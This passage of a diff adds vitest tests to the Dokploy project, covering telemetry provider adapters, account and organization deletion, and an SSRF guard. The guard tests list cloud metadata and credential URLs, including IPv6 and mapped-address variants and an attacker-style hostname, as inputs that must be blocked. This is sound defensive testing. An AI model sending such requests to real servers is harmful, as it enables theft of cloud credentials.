it("removes the Vector agents of every owned organization before deleting the user", async () => {
|
||||
mocks.findOwnedOrganizations.mockResolvedValue([
|
||||
{ id: "org-a" },
|
||||
{ id: "org-b" },
|
||||
]);
|
||||
|
||||
await deleteUserAccountData("user-1");
|
||||
|
||||
expect(mocks.calls).toEqual(["agents:org-a", "agents:org-b", "delete"]);
|
||||
});
|
||||
|
||||
it("deletes the user without touching agents when it owns no organization", async () => {
|
||||
mocks.findOwnedOrganizations.mockResolvedValue([]);
|
||||
|
||||
await deleteUserAccountData("user-1");
|
||||
|
||||
expect(mocks.removeVectorAgents).not.toHaveBeenCalled();
|
||||
expect(mocks.calls).toEqual(["delete"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,542 @@
|
||||
import {
|
||||
getTelemetryProviderAdapter,
|
||||
telemetryProviderAdapters,
|
||||
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
|
||||
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const aws = vi.hoisted(() => ({
|
||||
describeLogGroups: vi.fn(),
|
||||
putMetricData: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("node:dns/promises", () => ({
|
||||
lookup: async () => [{ address: "93.184.216.34" }],
|
||||
}));
|
||||
vi.mock("@aws-sdk/client-cloudwatch-logs", () => ({
|
||||
CloudWatchLogsClient: class {
|
||||
send = aws.describeLogGroups;
|
||||
},
|
||||
DescribeLogGroupsCommand: class {
|
||||
constructor(public input: unknown) {}
|
||||
},
|
||||
}));
|
||||
vi.mock("@aws-sdk/client-cloudwatch", () => ({
|
||||
CloudWatchClient: class {
|
||||
send = aws.putMetricData;
|
||||
},
|
||||
PutMetricDataCommand: class {
|
||||
constructor(public input: unknown) {}
|
||||
},
|
||||
}));
|
||||
|
||||
const baseConfig: TelemetryProviderRuntimeConfig = {
|
||||
telemetryProviderId: "provider-1",
|
||||
name: "test",
|
||||
signals: ["metrics"],
|
||||
endpoint: null,
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
};
|
||||
|
||||
const originalFetch = global.fetch;
|
||||
const fetchMock = vi.fn();
|
||||
|
||||
const respond = (status: number, body: unknown = "") =>
|
||||
new Response(
|
||||
status === 204
|
||||
? null
|
||||
: typeof body === "string"
|
||||
? body
|
||||
: JSON.stringify(body),
|
||||
{ status },
|
||||
);
|
||||
|
||||
beforeEach(() => {
|
||||
fetchMock.mockReset();
|
||||
aws.describeLogGroups.mockReset();
|
||||
aws.putMetricData.mockReset();
|
||||
global.fetch = fetchMock as unknown as typeof fetch;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
global.fetch = originalFetch;
|
||||
});
|
||||
|
||||
const calledUrls = () => fetchMock.mock.calls.map((call) => String(call[0]));
|
||||
|
||||
describe("registry", () => {
|
||||
it("resolves the nine provider types, each with a non-empty valid signal list", () => {
|
||||
const types = [
|
||||
"loki",
|
||||
"prometheus_remote_write",
|
||||
"new_relic",
|
||||
"influxdb",
|
||||
"datadog",
|
||||
"aws_cloudwatch",
|
||||
"splunk_hec",
|
||||
"elasticsearch",
|
||||
"betterstack",
|
||||
] as const;
|
||||
expect(Object.keys(telemetryProviderAdapters).sort()).toEqual(
|
||||
[...types].sort(),
|
||||
);
|
||||
for (const type of types) {
|
||||
const adapter = getTelemetryProviderAdapter(type);
|
||||
expect(adapter.type).toBe(type);
|
||||
expect(adapter.signals.length).toBeGreaterThan(0);
|
||||
expect(
|
||||
adapter.signals.every((s) => s === "logs" || s === "metrics"),
|
||||
).toBe(true);
|
||||
}
|
||||
expect(telemetryProviderAdapters.loki.signals).toEqual(["logs"]);
|
||||
expect(telemetryProviderAdapters.prometheus_remote_write.signals).toEqual([
|
||||
"metrics",
|
||||
]);
|
||||
expect(telemetryProviderAdapters.datadog.signals).toEqual([
|
||||
"logs",
|
||||
"metrics",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("prometheusRemoteWriteAdapter", () => {
|
||||
const adapter = telemetryProviderAdapters.prometheus_remote_write;
|
||||
const endpoint = "http://prom.example.com:9090/api/v1/write";
|
||||
|
||||
it("builds a sink without auth, with the healthcheck disabled", () => {
|
||||
const sink = adapter.toVectorSink(
|
||||
{ ...baseConfig, endpoint },
|
||||
"sink_1",
|
||||
"dokploy_metrics_scope",
|
||||
"metrics",
|
||||
);
|
||||
expect(sink).toMatchObject({
|
||||
type: "prometheus_remote_write",
|
||||
inputs: ["dokploy_metrics_scope"],
|
||||
endpoint,
|
||||
healthcheck: { enabled: false },
|
||||
});
|
||||
expect(sink.auth).toBeUndefined();
|
||||
expect(sink.tenant_id).toBeUndefined();
|
||||
});
|
||||
|
||||
it("uses basic auth with a username, bearer with a token alone, and sets tenant_id", () => {
|
||||
const basic = adapter.toVectorSink(
|
||||
{
|
||||
...baseConfig,
|
||||
endpoint,
|
||||
apiKey: "pw",
|
||||
extraConfig: { username: "12345", tenantId: "team-a" },
|
||||
},
|
||||
"sink_1",
|
||||
"scope",
|
||||
"metrics",
|
||||
);
|
||||
expect(basic.auth).toEqual({
|
||||
strategy: "basic",
|
||||
user: "12345",
|
||||
password: "pw",
|
||||
});
|
||||
expect(basic.tenant_id).toBe("team-a");
|
||||
|
||||
const bearer = adapter.toVectorSink(
|
||||
{ ...baseConfig, endpoint, apiKey: "tok" },
|
||||
"sink_1",
|
||||
"scope",
|
||||
"metrics",
|
||||
);
|
||||
expect(bearer.auth).toEqual({ strategy: "bearer", token: "tok" });
|
||||
});
|
||||
|
||||
it("rejects an endpoint that is not an http(s) URL", () => {
|
||||
expect(() =>
|
||||
adapter.validateConfig?.({ ...baseConfig, endpoint: "not a url" }),
|
||||
).toThrow(/valid http\(s\) URL/);
|
||||
expect(() =>
|
||||
adapter.validateConfig?.({ ...baseConfig, endpoint: "ftp://x" }),
|
||||
).toThrow(/valid http\(s\) URL/);
|
||||
});
|
||||
|
||||
it("treats 2xx and 400 as success and gives distinct errors for 401 and 404", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(204));
|
||||
await expect(
|
||||
adapter.testConnection?.({ ...baseConfig, endpoint }),
|
||||
).resolves.toBeUndefined();
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(400));
|
||||
await expect(
|
||||
adapter.testConnection?.({ ...baseConfig, endpoint }),
|
||||
).resolves.toBeUndefined();
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(401));
|
||||
await expect(
|
||||
adapter.testConnection?.({ ...baseConfig, endpoint, apiKey: "bad" }),
|
||||
).rejects.toThrow(/rejected the credentials \(status 401\)/);
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(404));
|
||||
await expect(
|
||||
adapter.testConnection?.({ ...baseConfig, endpoint }),
|
||||
).rejects.toThrow(/not found at this URL \(status 404\)/);
|
||||
});
|
||||
|
||||
it("sends the auth header and the tenant header on the test request", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(204));
|
||||
await adapter.testConnection?.({
|
||||
...baseConfig,
|
||||
endpoint,
|
||||
apiKey: "tok",
|
||||
extraConfig: { tenantId: "team-a" },
|
||||
});
|
||||
const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
|
||||
expect(init.method).toBe("POST");
|
||||
expect(init.headers).toMatchObject({
|
||||
Authorization: "Bearer tok",
|
||||
"X-Scope-OrgID": "team-a",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("newRelicAdapter", () => {
|
||||
const adapter = telemetryProviderAdapters.new_relic;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
apiKey: "license",
|
||||
extraConfig: { accountId: "123" },
|
||||
};
|
||||
|
||||
it("defaults to the us region and accepts eu", () => {
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
|
||||
{
|
||||
type: "new_relic",
|
||||
api: "metrics",
|
||||
license_key: "license",
|
||||
account_id: "123",
|
||||
region: "us",
|
||||
},
|
||||
);
|
||||
expect(
|
||||
adapter.toVectorSink(
|
||||
{ ...config, extraConfig: { accountId: "123", region: "EU" } },
|
||||
"s",
|
||||
"scope",
|
||||
"metrics",
|
||||
).region,
|
||||
).toBe("eu");
|
||||
});
|
||||
|
||||
it("rejects an unknown region", () => {
|
||||
expect(() =>
|
||||
adapter.validateConfig?.({
|
||||
...config,
|
||||
extraConfig: { accountId: "123", region: "jp" },
|
||||
}),
|
||||
).toThrow(/"us" or "eu"/);
|
||||
});
|
||||
|
||||
it("posts a gauge to the regional metric API: 202 passes, 403 is an invalid key", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(202));
|
||||
await expect(
|
||||
adapter.testConnection?.({
|
||||
...config,
|
||||
extraConfig: { accountId: "123", region: "eu" },
|
||||
}),
|
||||
).resolves.toBeUndefined();
|
||||
expect(calledUrls()[0]).toBe(
|
||||
"https://metric-api.eu.newrelic.com/metric/v1",
|
||||
);
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(403));
|
||||
await expect(adapter.testConnection?.(config)).rejects.toThrow(
|
||||
/rejected the license key/,
|
||||
);
|
||||
expect(calledUrls()[1]).toBe("https://metric-api.newrelic.com/metric/v1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("influxdbAdapter", () => {
|
||||
const adapter = telemetryProviderAdapters.influxdb;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
endpoint: "http://influx.example.com:8086",
|
||||
apiKey: "token",
|
||||
extraConfig: { org: "dokploy", bucket: "metrics" },
|
||||
};
|
||||
|
||||
it("builds an influxdb_metrics v2 sink", () => {
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toEqual({
|
||||
type: "influxdb_metrics",
|
||||
inputs: ["scope"],
|
||||
endpoint: "http://influx.example.com:8086",
|
||||
org: "dokploy",
|
||||
bucket: "metrics",
|
||||
token: "token",
|
||||
default_namespace: "dokploy",
|
||||
version: "2",
|
||||
buffer: { type: "disk", max_size: 268_435_488, when_full: "block" },
|
||||
});
|
||||
});
|
||||
|
||||
it("writes a test point: 204 passes, 401 and 404 give distinct errors", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(204));
|
||||
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
|
||||
expect(calledUrls()[0]).toBe(
|
||||
"http://influx.example.com:8086/api/v2/write?org=dokploy&bucket=metrics&precision=s",
|
||||
);
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(401));
|
||||
await expect(adapter.testConnection?.(config)).rejects.toThrow(
|
||||
/rejected the token/,
|
||||
);
|
||||
|
||||
fetchMock.mockResolvedValueOnce(respond(404));
|
||||
await expect(adapter.testConnection?.(config)).rejects.toThrow(
|
||||
/organization or bucket not found/,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("datadogAdapter with metrics", () => {
|
||||
const adapter = telemetryProviderAdapters.datadog;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
signals: ["logs", "metrics"] as const,
|
||||
apiKey: "dd",
|
||||
};
|
||||
|
||||
it("ships metrics through datadog_metrics without a transform", () => {
|
||||
expect(
|
||||
adapter.toVectorTransform?.(config as never, "t", "scope", "metrics"),
|
||||
).toBeNull();
|
||||
expect(
|
||||
adapter.toVectorSink(config as never, "s", "scope", "metrics"),
|
||||
).toMatchObject({
|
||||
type: "datadog_metrics",
|
||||
inputs: ["scope"],
|
||||
default_api_key: "dd",
|
||||
site: "datadoghq.com",
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps the logs sink and ddtags transform unchanged", () => {
|
||||
expect(
|
||||
adapter.toVectorTransform?.(config as never, "t", "scope", "logs"),
|
||||
).toMatchObject({ type: "remap", inputs: ["scope"] });
|
||||
expect(adapter.toVectorSink(config as never, "s", "t", "logs").type).toBe(
|
||||
"datadog_logs",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("betterStackAdapter with metrics", () => {
|
||||
const adapter = telemetryProviderAdapters.betterstack;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
endpoint: "in.logs.betterstack.com",
|
||||
apiKey: "token",
|
||||
};
|
||||
|
||||
it("posts metrics to /metrics without a transform", () => {
|
||||
expect(
|
||||
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
|
||||
).toBeNull();
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
|
||||
{
|
||||
type: "http",
|
||||
uri: "https://in.logs.betterstack.com/metrics",
|
||||
auth: { strategy: "bearer", token: "token" },
|
||||
},
|
||||
);
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "logs").uri).toBe(
|
||||
"https://in.logs.betterstack.com/",
|
||||
);
|
||||
});
|
||||
|
||||
it("tests each selected signal: two requests for logs and metrics, one for logs only", async () => {
|
||||
fetchMock.mockResolvedValue(respond(202));
|
||||
await adapter.testConnection?.({ ...config, signals: ["logs", "metrics"] });
|
||||
expect(calledUrls()).toEqual([
|
||||
"https://in.logs.betterstack.com/",
|
||||
"https://in.logs.betterstack.com/metrics",
|
||||
]);
|
||||
|
||||
fetchMock.mockClear();
|
||||
await adapter.testConnection?.({ ...config, signals: ["logs"] });
|
||||
expect(calledUrls()).toEqual(["https://in.logs.betterstack.com/"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("awsCloudwatchAdapter with metrics", () => {
|
||||
const adapter = telemetryProviderAdapters.aws_cloudwatch;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
apiKey: "AKIA",
|
||||
apiSecret: "secret",
|
||||
extraConfig: {
|
||||
region: "us-east-1",
|
||||
logGroup: "/dokploy/logs",
|
||||
metricsNamespace: "Dokploy",
|
||||
},
|
||||
};
|
||||
|
||||
it("scopes the log fields to logs and the namespace to metrics", () => {
|
||||
const bySignal = Object.fromEntries(
|
||||
adapter.credentialFields.map((f) => [f.key, f.signal]),
|
||||
);
|
||||
expect(bySignal).toMatchObject({
|
||||
logGroup: "logs",
|
||||
logStream: "logs",
|
||||
metricsNamespace: "metrics",
|
||||
});
|
||||
expect(bySignal.region).toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects a namespace starting with AWS/ only when metrics are selected", () => {
|
||||
const bad = {
|
||||
...config,
|
||||
extraConfig: { ...config.extraConfig, metricsNamespace: "AWS/Foo" },
|
||||
};
|
||||
expect(() => adapter.validateConfig?.(bad)).toThrow(
|
||||
/cannot start with AWS\//,
|
||||
);
|
||||
expect(() =>
|
||||
adapter.validateConfig?.({ ...bad, signals: ["logs"] }),
|
||||
).not.toThrow();
|
||||
});
|
||||
|
||||
it("filters metrics to the allowlist and sets the namespace in the transform", () => {
|
||||
const transform = adapter.toVectorTransform?.(
|
||||
config,
|
||||
"t",
|
||||
"scope",
|
||||
"metrics",
|
||||
);
|
||||
expect(transform).toMatchObject({
|
||||
type: "remap",
|
||||
inputs: ["scope"],
|
||||
drop_on_abort: true,
|
||||
});
|
||||
expect(transform?.source).toContain(
|
||||
'if !includes(["cpu_seconds_total","memory_used_bytes","memory_total_bytes","filesystem_used_bytes","filesystem_total_bytes","network_receive_bytes_total","network_transmit_bytes_total","load1","load5","load15","container_cpu_usage_seconds_total","container_memory_usage_bytes","container_network_receive_bytes_total","container_network_transmit_bytes_total"], .name) { abort }',
|
||||
);
|
||||
expect(transform?.source).toContain('.namespace = "Dokploy"');
|
||||
expect(adapter.toVectorSink(config, "s", "t", "metrics")).toMatchObject({
|
||||
type: "aws_cloudwatch_metrics",
|
||||
inputs: ["t"],
|
||||
default_namespace: "Dokploy",
|
||||
region: "us-east-1",
|
||||
auth: { access_key_id: "AKIA", secret_access_key: "secret" },
|
||||
});
|
||||
});
|
||||
|
||||
it("tests metrics with PutMetricData only, and translates AccessDenied", async () => {
|
||||
aws.putMetricData.mockResolvedValue({});
|
||||
await adapter.testConnection?.({ ...config, signals: ["metrics"] });
|
||||
expect(aws.putMetricData).toHaveBeenCalledTimes(1);
|
||||
expect(aws.describeLogGroups).not.toHaveBeenCalled();
|
||||
expect(aws.putMetricData.mock.calls[0]?.[0]).toMatchObject({
|
||||
input: { Namespace: "Dokploy" },
|
||||
});
|
||||
|
||||
aws.putMetricData.mockRejectedValue(
|
||||
Object.assign(new Error("denied"), { name: "AccessDenied" }),
|
||||
);
|
||||
await expect(
|
||||
adapter.testConnection?.({ ...config, signals: ["metrics"] }),
|
||||
).rejects.toThrow(/needs cloudwatch:PutMetricData/);
|
||||
});
|
||||
|
||||
it("tests logs with DescribeLogGroups only", async () => {
|
||||
aws.describeLogGroups.mockResolvedValue({});
|
||||
await adapter.testConnection?.({ ...config, signals: ["logs"] });
|
||||
expect(aws.describeLogGroups).toHaveBeenCalledTimes(1);
|
||||
expect(aws.putMetricData).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("splunkAdapter with metrics", () => {
|
||||
const adapter = telemetryProviderAdapters.splunk_hec;
|
||||
const config = {
|
||||
...baseConfig,
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
apiKey: "hec",
|
||||
extraConfig: { metricsIndex: "dokploy_metrics" },
|
||||
};
|
||||
|
||||
it("requires the metrics index only for metrics", () => {
|
||||
const field = adapter.credentialFields.find(
|
||||
(f) => f.key === "metricsIndex",
|
||||
);
|
||||
expect(field).toMatchObject({ required: true, signal: "metrics" });
|
||||
expect(
|
||||
adapter.credentialFields.find((f) => f.key === "index")?.signal,
|
||||
).toBe("logs");
|
||||
});
|
||||
|
||||
it("builds a splunk_hec_metrics sink", () => {
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
|
||||
{
|
||||
type: "splunk_hec_metrics",
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
default_token: "hec",
|
||||
index: "dokploy_metrics",
|
||||
source: "dokploy",
|
||||
sourcetype: "dokploy:metrics",
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
it("writes a test metric and translates HEC code 7", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(200, { text: "Success", code: 0 }));
|
||||
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
|
||||
expect(calledUrls()).toEqual([
|
||||
"https://splunk.example.com:8088/services/collector",
|
||||
]);
|
||||
|
||||
fetchMock.mockResolvedValueOnce(
|
||||
respond(400, { text: "Incorrect index", code: 7 }),
|
||||
);
|
||||
await expect(adapter.testConnection?.(config)).rejects.toThrow(
|
||||
/can't write to the metrics index "dokploy_metrics"/,
|
||||
);
|
||||
});
|
||||
|
||||
it("only checks the health endpoint for logs", async () => {
|
||||
fetchMock.mockResolvedValueOnce(respond(200));
|
||||
await adapter.testConnection?.({ ...config, signals: ["logs"] });
|
||||
expect(calledUrls()).toEqual([
|
||||
"https://splunk.example.com:8088/services/collector/health",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("elasticsearchAdapter with metrics", () => {
|
||||
const adapter = telemetryProviderAdapters.elasticsearch;
|
||||
const config = { ...baseConfig, endpoint: "https://es.example.com:9200" };
|
||||
|
||||
it("uses the daily default metrics index when none is set, and the custom one otherwise", () => {
|
||||
expect(
|
||||
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
|
||||
).toBeNull();
|
||||
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
|
||||
{
|
||||
type: "elasticsearch",
|
||||
api_version: "v8",
|
||||
bulk: { index: "dokploy-metrics-%Y.%m.%d" },
|
||||
},
|
||||
);
|
||||
expect(
|
||||
adapter.toVectorSink(
|
||||
{ ...config, extraConfig: { metricsIndex: "metrics-custom" } },
|
||||
"s",
|
||||
"scope",
|
||||
"metrics",
|
||||
).bulk,
|
||||
).toEqual({ index: "metrics-custom" });
|
||||
});
|
||||
|
||||
it("keeps the logs sink without a bulk index unless one is set", () => {
|
||||
expect(adapter.toVectorSink(config, "s", "t", "logs").bulk).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
findServersByOrganizationForVectorAgent: vi.fn(),
|
||||
getWebServerSettings: vi.fn(),
|
||||
releaseWebServerAgent: vi.fn(),
|
||||
removeVectorAgent: vi.fn(),
|
||||
deleteWhere: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/constants", () => ({ IS_CLOUD: false }));
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: { delete: () => ({ where: mocks.deleteWhere }) },
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/server", () => ({
|
||||
findServersByOrganizationForVectorAgent:
|
||||
mocks.findServersByOrganizationForVectorAgent,
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||
getWebServerSettings: mocks.getWebServerSettings,
|
||||
releaseWebServerAgent: mocks.releaseWebServerAgent,
|
||||
}));
|
||||
vi.mock("@dokploy/server/setup/vector-setup", () => ({
|
||||
removeVectorAgent: mocks.removeVectorAgent,
|
||||
withVectorTargetLock: (_: string | undefined, fn: () => Promise<unknown>) =>
|
||||
fn(),
|
||||
}));
|
||||
|
||||
const { deleteOrganization } = await import(
|
||||
"@dokploy/server/services/organization"
|
||||
);
|
||||
|
||||
beforeEach(() => {
|
||||
for (const mock of Object.values(mocks)) mock.mockReset();
|
||||
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
|
||||
mocks.deleteWhere.mockResolvedValue({ count: 1 });
|
||||
vi.spyOn(console, "error").mockImplementation(() => {});
|
||||
});
|
||||
|
||||
describe("deleteOrganization", () => {
|
||||
it("attempts cleanup on every server, even with an empty selection, and swallows errors", async () => {
|
||||
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
|
||||
{ serverId: "server-1", telemetryProviderIds: ["lp-1"] },
|
||||
{ serverId: "server-2", telemetryProviderIds: ["lp-1"] },
|
||||
{ serverId: "server-3", telemetryProviderIds: [] },
|
||||
]);
|
||||
mocks.removeVectorAgent.mockImplementation(async (serverId?: string) => {
|
||||
if (serverId === "server-1") throw new Error("ssh down");
|
||||
});
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: null,
|
||||
});
|
||||
|
||||
await deleteOrganization("org-a");
|
||||
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-2");
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-3");
|
||||
expect(mocks.deleteWhere).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("leaves the local agent alone when another organization owns it", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-b",
|
||||
});
|
||||
|
||||
await deleteOrganization("org-a");
|
||||
|
||||
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
|
||||
expect(mocks.releaseWebServerAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("releases the local agent even when removing it fails", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
});
|
||||
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
|
||||
|
||||
await deleteOrganization("org-a");
|
||||
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith();
|
||||
expect(mocks.releaseWebServerAgent).toHaveBeenCalledWith("org-a");
|
||||
expect(mocks.deleteWhere).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,220 @@
|
||||
import { createServer, type Server } from "node:http";
|
||||
import type { AddressInfo } from "node:net";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
lookup: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("node:dns", () => ({
|
||||
lookup: mocks.lookup,
|
||||
}));
|
||||
|
||||
const loadModule = async (isCloud: boolean) => {
|
||||
vi.resetModules();
|
||||
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
|
||||
return await import(
|
||||
"@dokploy/server/services/logs-and-metrics/provider-fetch"
|
||||
);
|
||||
};
|
||||
|
||||
const loadFetch = async (isCloud: boolean) =>
|
||||
(await loadModule(isCloud)).providerFetch;
|
||||
|
||||
const resolvesTo = (...addresses: string[]) =>
|
||||
mocks.lookup.mockImplementation(
|
||||
(_host: string, _options: unknown, callback: Function) =>
|
||||
callback(
|
||||
null,
|
||||
addresses.map((address) => ({
|
||||
address,
|
||||
family: address.includes(":") ? 6 : 4,
|
||||
})),
|
||||
),
|
||||
);
|
||||
|
||||
describe("providerFetch — blocked endpoint guard", () => {
|
||||
const originalFetch = global.fetch;
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.lookup.mockReset();
|
||||
global.fetch = vi.fn().mockResolvedValue(new Response("ok"));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
global.fetch = originalFetch;
|
||||
});
|
||||
|
||||
it("rejects a literal AWS/GCP/Azure metadata IP without ever calling fetch", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
await expect(
|
||||
providerFetch("http://169.254.169.254/latest/meta-data/"),
|
||||
).rejects.toThrow(/metadata/i);
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
expect(mocks.lookup).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects the metadata IP written as an IPv4-mapped IPv6 address", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
for (const address of ["[::ffff:169.254.169.254]", "[::ffff:a9fe:a9fe]"]) {
|
||||
await expect(
|
||||
providerFetch(`http://${address}/latest/meta-data/`),
|
||||
`expected ${address} to be rejected`,
|
||||
).rejects.toThrow(/metadata/i);
|
||||
}
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects the AWS ECS metadata IPv6 address", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
await expect(
|
||||
providerFetch("http://[fd00:ec2::254]/v2/credentials"),
|
||||
).rejects.toThrow(/metadata/i);
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects every fe80::/10 link-local address, not just literal fe80: ones", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
for (const address of [
|
||||
"[fe80::1]",
|
||||
"[fe90::1]",
|
||||
"[fea0::1]",
|
||||
"[febf::1]",
|
||||
]) {
|
||||
await expect(
|
||||
providerFetch(`http://${address}/`),
|
||||
`expected ${address} to be rejected`,
|
||||
).rejects.toThrow(/metadata/i);
|
||||
}
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not block a hostname just because it starts like a link-local prefix", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
|
||||
await providerFetch("https://feature-logs.example.com/ready");
|
||||
expect(global.fetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("rejects the GCP metadata hostname without needing DNS resolution", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
await expect(
|
||||
providerFetch("http://metadata.google.internal/computeMetadata/v1/"),
|
||||
).rejects.toThrow(/metadata/i);
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
expect(mocks.lookup).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects loopback and private-network endpoints in cloud", async () => {
|
||||
const providerFetch = await loadFetch(true);
|
||||
|
||||
for (const url of [
|
||||
"http://10.0.0.5:3100/ready",
|
||||
"http://127.0.0.1:3100/ready",
|
||||
"http://localhost:3100/ready",
|
||||
"http://[::1]:3100/ready",
|
||||
"http://0.0.0.0:3100/ready",
|
||||
"http://100.100.100.200/latest/meta-data/",
|
||||
"http://[::]:3100/ready",
|
||||
]) {
|
||||
await expect(
|
||||
providerFetch(url),
|
||||
`expected ${url} to be rejected`,
|
||||
).rejects.toThrow(/blocked/i);
|
||||
}
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not follow redirects", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
|
||||
await providerFetch("https://logs.example.com/ready");
|
||||
expect(global.fetch).toHaveBeenCalledWith(
|
||||
"https://logs.example.com/ready",
|
||||
expect.objectContaining({ redirect: "error" }),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("providerFetch — address checked at connect time", () => {
|
||||
let server: Server;
|
||||
let port: number;
|
||||
let hostHeader: string | undefined;
|
||||
|
||||
beforeEach(async () => {
|
||||
mocks.lookup.mockReset();
|
||||
hostHeader = undefined;
|
||||
server = createServer((req, res) => {
|
||||
hostHeader = req.headers.host;
|
||||
res.end("ok");
|
||||
});
|
||||
await new Promise<void>((resolve) =>
|
||||
server.listen(0, "127.0.0.1", resolve),
|
||||
);
|
||||
port = (server.address() as AddressInfo).port;
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await new Promise((resolve) => server.close(resolve));
|
||||
});
|
||||
|
||||
it("rejects a hostname whose lookup returns a metadata address", async () => {
|
||||
const providerFetch = await loadFetch(false);
|
||||
resolvesTo("203.0.113.10", "169.254.169.254");
|
||||
|
||||
await expect(
|
||||
providerFetch("http://attacker-controlled.example.com/"),
|
||||
).rejects.toThrow(/metadata/i);
|
||||
expect(mocks.lookup).toHaveBeenCalledWith(
|
||||
"attacker-controlled.example.com",
|
||||
expect.anything(),
|
||||
expect.any(Function),
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a hostname resolving to a private address in cloud", async () => {
|
||||
const providerFetch = await loadFetch(true);
|
||||
resolvesTo("127.0.0.1");
|
||||
|
||||
await expect(
|
||||
